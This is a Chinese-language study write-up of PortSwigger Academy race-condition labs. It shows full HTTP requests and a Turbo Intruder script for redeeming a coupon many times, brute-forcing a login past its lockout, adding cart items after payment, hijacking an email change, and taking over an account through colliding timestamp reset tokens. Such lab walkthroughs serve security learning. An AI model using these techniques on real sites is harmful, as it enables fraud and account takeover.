Race conditions

此為常見的漏洞,與業務邏輯缺陷有密切關係。當網站在沒有足夠保護措施的情況下同時處理請求時,就會發生這種情況。這可能會導致多個不同的執行緒同時互相影響而導致衝突,使應用程式中出現意外行為。

常見的攻擊方法如下

  • 饒過只限一次的申請
  • 饒過爆力破解密碼限制
  • 饒過多步驟流程
  • 單點請求
  • 饒過基於時間的機制

饒過只限一次的申請

正常申請coupon的請求如下

########### request ########### 
POST /cart/coupon HTTP/2
Host: 0a1000970471ccea8083675200b00078.web-security-academy.net
Cookie: session=A4gNQOKPCacLMB8drZWqyzWf0kZtYO1w
...omit...
csrf=8tjtSGHVpSlBKdWlQZKSqCVydZactrC9&coupon=PROMO20

########### response ########### 
Coupon applied

如果在執行一次就會返回Coupon already applied,所以一次只能申請一個

但因為有條件競速漏洞,所以如果在之前同時送出多個請求,可以一次申請多個coupon

例如,在burpsuite/repeater內選擇send group in parallel,就可以在同一個時間送多個請求

Lab: Limit overrun race conditions


饒過爆力破解密碼限制

目標網站密碼輸入錯誤三次會鎖定10秒,但如果一次就同時送出大量不同密碼的登入請求,可以饒過這個限制

先把以下登入請求傳送到extension/turbo intruder/send to turbo intruder

########### request ########### 
POST /login HTTP/2
Host: 0afb00fd046f7a6d82e620da00cf000b.web-security-academy.net
Cookie: session=51MNANP3VemzBiCc7NVsaQgR1IdDuq1J
...omit...

csrf=RQrrsXrTYltTnCOmRgRUW06cZp6kAXEE&username=carlos&password=superman

在turbo intruder中,將密碼的地方換成%s如下

########### request ########### 
POST /login HTTP/2
Host: 0afb00fd046f7a6d82e620da00cf000b.web-security-academy.net
Cookie: session=51MNANP3VemzBiCc7NVsaQgR1IdDuq1J
...omit...

csrf=RQrrsXrTYltTnCOmRgRUW06cZp6kAXEE&username=carlos&password=%s

並在模版中選examples/race-single-packet-attack.py,並修改如下

def queueRequests(target, wordlists):

    # if the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
    # if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
    # for more information, check out https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )

    # assign the list of candidate passwords from your clipboard
    passwords = wordlists.clipboard
        
    # queue a login request using each password from the wordlist
    # the 'gate' argument withholds the final part of each request until engine.openGate() is invoked
    for password in passwords:
        engine.queue(target.req, password, gate='1')

    # once every 'race1' tagged request has been queued
    # invoke engine.openGate() to send them in sync
    engine.openGate('1')


def handleResponse(req, interesting):
    table.add(req)

由於此腳本使用該語法passwords = wordlists.clipboard,因此需要先去字典檔將密碼複制,字典檔格式必須如下

123123
abc123
football
monkey
...omit...

複製後在點選turbo intruder的攻擊,便可一次送出多個登入密碼做驗證,即便有三次限制也來不及處理突然間大量同時的請求。一但密碼正確則返回如下信息

HTTP/2 302 Found
Location: /my-account?id=carlos
Set-Cookie: session=ipaou37SDt58D1igheOIc0dZhIKbj09T; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Lab: Bypassing rate limits via race conditions


饒過多步驟流程

同時向多個端點發送請求,很適合用在有多個步驟的流程,以購物車的例子來說,最常見的就是利用付款驗證後到訂單最終確認時的這段期間,偷塞更多商品

舉例如下,將商品放入購物車的請求如下

########### request ########### 
POST /cart HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
productId=2&redir=PRODUCT&quantity=1

########### response ########### 
HTTP/2 302 Found
Location: /product?productId=2
X-Frame-Options: SAMEORIGIN
Content-Length: 0

結帳的請求如下

########### request ########### 
POST /cart/checkout HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
csrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V

########### response ########### 
...omit...
Your order is on its way!
...omit...

購物車請求和結帳請求之間存在漏洞,因此有機會在結帳完成前,在購物車額外增加一個新商品,由於在進行結帳時來不及把新商品的金額算進去,因此即便多了一個商品,價格還是和之前一樣

為了使用這個漏洞,必須將以下放入購物車和結帳請求在同一個時間送出,可以用repeater group send in parallel功能

POST /cart HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
productId=1&redir=PRODUCT&quantity=1
POST /cart/checkout HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
csrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V

由於請求扺達時間差的關係,同時送不一定會成功,可能要多試幾次,一旦成功就可以偷渡新商品

Lab: Multi-endpoint race conditions


單點請求

將具有不同值的平行請求傳送到單一端點有時會觸發強大的競爭條件,舉例如下

正常請求

wiener更改email時會在cookie中帶上自己的session: XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM ,body中的email參數指定新信箱位置,如下請求

POST /my-account/change-email HTTP/2
Host: 0ac200cb03ab64978078499c00c800c7.web-security-academy.net
Cookie: session=XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM
...omit...
email=wiener%40exploit-0ae5004603a6640680c94899011d00be.exploit-server.net&csrf=hd2siI7G44fAe6A6tw0r2LjlWmFMqds1

接著系統會把email更改連結寄到新信箱,內容如下

####### wiener@exploit-0ae5004603a6640680c94899011d00be.exploit-server.net #######
To confirm your email change to wiener@exploit-0ae5004603a6640680c94899011d00be.exploit-server.net, click the link below
Click here to confirm.

確認連結點擊後會送出以下請求,服務器檢查是剛wiener申請的token無誤後就更改為此email

########### request ########### 
GET /confirm-email?user=wiener&token=OP6H667c4JvNXmzh 
...omit...

########### response ###########
...omit...
Your email has been successfully updated 

但如果送出2次email更改請求,只有最後一個email更改連結是有用的

但由於目標有漏洞,因此將相同會話同時發送兩個密碼重設請求,但使用兩個不同的使用者,可能會導致互相覆寫

發動攻擊

以wiener身份(session=XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM)準備2個請求同時發送:

  • 更改成wiener自己的email
  • 更改為指定email:carlos@ginandjuice.shop
POST /my-account/change-email HTTP/2
Host: 0ac200cb03ab64978078499c00c800c7.web-security-academy.net
Cookie: session=XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM
...omit...
email=carlos@ginandjuice.shop&csrf=hd2siI7G44fAe6A6tw0r2LjlWmFMqds1
POST /my-account/change-email HTTP/2
Host: 0ac200cb03ab64978078499c00c800c7.web-security-academy.net
Cookie: session=XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM
...omit...
email=wiener%40exploit-0ae5004603a6640680c94899011d00be.exploit-server.net&csrf=hd2siI7G44fAe6A6tw0r2LjlWmFMqds1

與是會產生2個token分別對應第一個請求token=xxxxxxxx1和第二個請求token=xxxxxxxx2

如果漏洞利用成功,原本要寄給wiener@exploit的內容就會被carlos@ginandjuice.shop的內容和token複寫,被複寫的內容如下。因為不一定每次都能順利互相覆寫,如果沒有就多試幾次。

####### wiener@exploit-0ae5004603a6640680c94899011d00be.exploit-server.net #######
To confirm your email change to carlos@ginandjuice.shop, click the link below
Click here to confirm.

確認連結點擊後會送出user=wiener&token=xxxxxxxx1,服務器檢查是剛申請的第1個請求,就更改為此email

Lab: Single-endpoint race conditions


饒過基於時間的機制

有些系統使用時間戳而不是加密安全隨機字串來產生安全token,由於時間可控,因此可以控制token內容。

正常重置密碼流程

假設一網站重置密碼過程如下,一開始先訪問改密碼頁面

################## request ###################
GET /forgot-password HTTP/2
Host: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net
Cookie: phpsessionid=mOzgnrJvsnAQQTarnzw6NMOI15OlQBRt

################## response ###################
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
...omit...
<input required type="hidden" name="csrf" value="LVUs8A8whLu94FNSObYiHEszwQqaY1YN"
...omit...

輸入要重置密碼的帳戶wiener後送出請求如下

POST /forgot-password HTTP/2
Host: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net
Cookie: phpsessionid=mOzgnrJvsnAQQTarnzw6NMOI15OlQBRt
...omit..
csrf=LVUs8A8whLu94FNSObYiHEszwQqaY1YN&username=wiener

接著系統會發信到wiener的信箱,收到信後點擊確認會傳送以下請求通知服務器,服務器就會允許進入重設wiener密碼的頁面

GET forgot-password?user=wiener&token=a35476a90b1e534ab27b504ef9920a3aed86edfb

但由於系統使用時間截做為重置token,所以只要產生2個一樣的時間截,就會產生2個一模一樣的密碼重置token。換句話說產生2個不同user的重置密碼請求,並讓時間截一樣,這2個user就共用一個密碼重置token

攻擊準備

因此要準備2個forgot-password請求,第一個用攻擊者wiener的請求,第二個用受害者carlos的請求。製做第2個請求先很簡單,把原本cookie的session刪除在請求後,可得到新session,如下

################## request ###################
GET /forgot-password HTTP/2
Host: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net

################## response ###################
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: phpsessionid=JJXxZDv0iAg5fShr8MVNGmLBBJkvuBr0; Secure; HttpOnly; SameSite=None
...omit...
<input required type="hidden" name="csrf" value="IZD4zpXvQLoSffem5Z3FsK4LTblSvwAh"
...omit...

接著第二個請求使用新session和新csrf token,並將username指定為受害者carlos

POST /forgot-password HTTP/2
Host: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net
Cookie: phpsessionid=JJXxZDv0iAg5fShr8MVNGmLBBJkvuBr0
...omit..
csrf=IZD4zpXvQLoSffem5Z3FsK4LTblSvwAh&username=carlos

發動攻擊

將準備好的2個請求同時送出,可以用repeater group send in parallel功能

POST /forgot-password HTTP/2
Host: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net
Cookie: phpsessionid=mOzgnrJvsnAQQTarnzw6NMOI15OlQBRt
...omit..
csrf=LVUs8A8whLu94FNSObYiHEszwQqaY1YN&username=wiener
POST /forgot-password HTTP/2
Host: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net
Cookie: phpsessionid=JJXxZDv0iAg5fShr8MVNGmLBBJkvuBr0
...omit..
csrf=IZD4zpXvQLoSffem5Z3FsK4LTblSvwAh&username=carlos

接著系統會發送確認鏈結到wiener和carlos的信箱,以下是wiener的確認鏈結,點擊後可修改wiener密碼

https://0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net/forgot-password?user=wiener&token=a35476a90b1e534ab27b504ef9920a3aed86edfb

但因為攻擊目標為受害者,因此將確認鏈結的user改為carlos如下

https://0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net/forgot-password?user=carlos&token=a35476a90b1e534ab27b504ef9920a3aed86edfb

由於token在同一時間產生可共用,因此送出此請求可修改受害者修改

Lab: Exploiting time-sensitive vulnerabilities


refer
https://portswigger.net/web-security/race-conditions
https://systw.net/note/archives/397